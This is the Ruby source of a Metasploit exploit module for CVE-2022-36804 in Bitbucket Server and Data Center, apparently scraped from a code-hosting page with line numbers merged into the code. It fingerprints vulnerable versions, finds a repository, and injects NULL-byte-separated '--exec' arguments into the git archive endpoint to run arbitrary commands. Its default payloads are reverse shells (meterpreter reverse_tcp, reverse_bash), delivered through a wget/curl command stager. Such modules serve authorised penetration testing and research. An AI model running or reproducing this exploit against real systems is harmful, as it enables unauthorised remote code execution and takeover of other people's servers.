Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/bitbucket_git_cmd_injection.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Bitbucket Git Command Injection',17'Description' => %q{18Various versions of Bitbucket Server and Data Center are vulnerable to19an unauthenticated command injection vulnerability in multiple API endpoints.2021The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint22creates an archive of the repository, leveraging the `git-archive` command to do so.23Supplying NULL bytes to the request enables the passing of additional arguments to the24command, ultimately enabling execution of arbitrary commands.25},26'License' => MSF_LICENSE,27'Author' => [28'TheGrandPew', # discovery29'Ron Bowes', # analysis and PoC30'Jang', # testanull - PoC31'Shelby Pace' # Metasploit module32],33'References' => [34[ 'URL', 'https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/' ],35[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ],36[ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ],37[ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ],38[ 'CVE', '2022-36804' ]39],40'Platform' => [ 'linux' ],41'Privileged' => false,42'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],43'Targets' => [44[45'Linux Dropper',46{47'Platform' => 'linux',48'Type' => :linux_dropper,49'Arch' => [ ARCH_X86, ARCH_X64 ],50'CmdStagerFlavor' => %w[wget curl bourne],51'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }52}53],54[55'Unix Command',56{57'Platform' => 'unix',58'Type' => :unix_cmd,59'Arch' => ARCH_CMD,60'Payload' => { 'BadChars' => %(:/?#[]@) },61'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }62}63]64],65'DisclosureDate' => '2022-08-24',66'DefaultTarget' => 0,67'Notes' => {68'Stability' => [ CRASH_SAFE ],69'Reliability' => [ REPEATABLE_SESSION ],70'SideEffects' => [ IOC_IN_LOGS ]71}72)73)7475register_options(76[77Opt::RPORT(7990),78OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']),79OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]),80OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ])81]82)83end8485def check86res = send_request_cgi(87'method' => 'GET',88'keep_cookies' => true,89'uri' => normalize_uri(target_uri.path, 'login')90)9192return CheckCode::Unknown('Failed to receive response from application') unless res9394unless res.body.include?('Bitbucket')95return CheckCode::Safe('Target does not appear to be Bitbucket')96end9798footer = res.get_html_document&.at('footer')99return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer100101version_str = footer.at('span')&.children&.text102return CheckCode::Detected('Cannot find version string in footer') unless version_str103104matches = version_str.match(/v(\d+\.\d+\.\d+)/)105return CheckCode::Detected('Version unknown') unless matches && matches.length > 1106107version_str = matches[1]108vprint_status("Found Bitbucket version: #{matches[1]}")109110num_vers = Rex::Version.new(version_str)111return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17')112113major, minor, revision = version_str.split('.')114case major115when '6'116return CheckCode::Appears117when '7'118case minor119when '6'120return CheckCode::Appears if revision.to_i < 17121when '17'122return CheckCode::Appears if revision.to_i < 10123when '21'124return CheckCode::Appears if revision.to_i < 4125end126when '8'127case minor128when '0', '1'129return CheckCode::Appears if revision.to_i < 3130when '2'131return CheckCode::Appears if revision.to_i < 2132when '3'133return CheckCode::Appears if revision.to_i < 1134end135end136137CheckCode::Detected138end139140def username141datastore['USERNAME']142end143144def password145datastore['PASSWORD']146end147148def authenticate149print_status("Attempting to authenticate with user '#{username}' and password '#{password}'")150res = send_request_cgi(151'method' => 'GET',152'uri' => normalize_uri(target_uri.path, 'login'),153'keep_cookies' => true154)155156fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login')157res = send_request_cgi(158'method' => 'POST',159'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),160'keep_cookies' => true,161'vars_post' =>162{163'j_username' => username,164'j_password' => password,165'submit' => 'Log in'166}167)168169fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res170res = send_request_cgi(171'method' => 'GET',172'uri' => normalize_uri(target_uri.path, 'dashboard'),173'keep_cookies' => true174)175176fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res177178unless res.body.include?('Your work') && res.body.include?('Projects')179fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')180end181182@authenticated = true183print_good('Successfully logged into Bitbucket!')184end185186def find_public_repo187print_status('Searching Bitbucket for publicly accessible repository')188res = send_request_cgi(189'method' => 'GET',190'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),191'keep_cookies' => true192)193194fail_with(Failure::Disconnected, 'Did not receive a response') unless res195json_data = JSON.parse(res.body)196fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data197198unless json_data['size'] > 0199fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')200end201202# opt for public repos unless none exist.203# Attempt to use a private repo if so204repos = json_data['values']205possible_repos = repos.select { |repo| repo['public'] == true }206if possible_repos.empty? && @authenticated207possible_repos = repos.select { |repo| repo['public'] == false }208end209210fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty?211possible_repos.each do |repo|212project = repo['project']213next unless project214215@project = project['key']216@repo = repo['slug']217break if @project && @repo218end219220fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo221print_good("Found public repo '#{@repo}' in project '#{@project}'!")222end223224def execute_command(cmd, _opts = {})225uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive')226send_request_cgi(227'method' => 'GET',228'uri' => uri,229'keep_cookies' => true,230'vars_get' =>231{232'format' => 'zip',233'path' => Rex::Text.rand_text_alpha(2..5),234'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}"235}236)237end238239def exploit240@authenticated = false241authenticate unless username.blank? && password.blank?242find_public_repo243244if target['Type'] == :linux_dropper245execute_cmdstager(linemax: 6000)246else247execute_command(payload.encoded)248end249end250end251252253